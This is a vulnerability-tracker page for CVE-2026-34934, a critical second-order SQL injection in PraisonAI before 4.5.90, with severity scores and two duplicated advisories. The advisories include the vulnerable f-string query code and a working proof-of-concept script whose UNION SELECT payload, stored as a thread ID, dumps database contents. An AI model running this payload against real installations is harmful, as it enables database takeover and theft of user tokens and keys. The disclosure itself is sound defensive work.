CVE-2026-34934

criticalPriorität · verfolgen · 0EPSS 0.005 · 45. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.53% (45th) EPSS
CVSS 9.8 · critical
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

9.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 5.9
v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.19criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-9cq8-3v94-434gPraisonAI Has Second-Order SQL Injection in `get_all_user_threads`2026-04-01ghsa · osvUS

    ## Summary The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access. --- ## Details **File Path:** `src/praisonai/praisonai/ui/sql_alchemy.py` **Flow:** - **Source (Line 539):** ```python await data_layer.update_thread(thread_id=payload, user_id=user) ``` - **Hop (Line 547):** ```python thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')" ``` - **Sink (Line 576):** ```sql WHERE s."threadId" IN {thread_ids} ``` --- ## Proof of Concept (PoC) ```python import asyncio from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer async def run_poc(): data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db") # Insert a valid thread await data_layer.update_thread( thread_id="valid_thread", user_id="attacker" ) # Inject malicious payload payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--" await data_layer.update_thread( thread_id=payload, user_id="attacker" ) # Trigger vulnerable function result = await data_layer.get_all_user_threads(user_id="attacker") for thread in result: if getattr(thread, 'id', '') == 'valid_thread': for step in getattr(thread, 'steps', []): print(getattr(step, 'id', '')) asyncio.run(run_poc()) # Expected Output: # sqlite_master table names printed to console ``` --- ## Impact An attacker can achieve full database compromise, including: - Exfiltration of sensitive data (user emails, session tokens, API keys) - Access to all conversation histories - Ability to modify or delete database contents

  • PYSEC-2026-470PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`2026-06-29vendor · osvUS

    ## Summary The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access. --- ## Details **File Path:** `src/praisonai/praisonai/ui/sql_alchemy.py` **Flow:** - **Source (Line 539):** ```python await data_layer.update_thread(thread_id=payload, user_id=user) ``` - **Hop (Line 547):** ```python thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')" ``` - **Sink (Line 576):** ```sql WHERE s."threadId" IN {thread_ids} ``` --- ## Proof of Concept (PoC) ```python import asyncio from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer async def run_poc(): data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db") # Insert a valid thread await data_layer.update_thread( thread_id="valid_thread", user_id="attacker" ) # Inject malicious payload payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--" await data_layer.update_thread( thread_id=payload, user_id="attacker" ) # Trigger vulnerable function result = await data_layer.get_all_user_threads(user_id="attacker") for thread in result: if getattr(thread, 'id', '') == 'valid_thread': for step in getattr(thread, 'steps', []): print(getattr(step, 'id', '')) asyncio.run(run_poc()) # Expected Output: # sqlite_master table names printed to console ``` --- ## Impact An attacker can achieve full database compromise, including: - Exfiltration of sensitive data (user emails, session tokens, API keys) - Access to all conversation histories - Ability to modify or delete database contents

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-04-03geändert 2026-07-24
08

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

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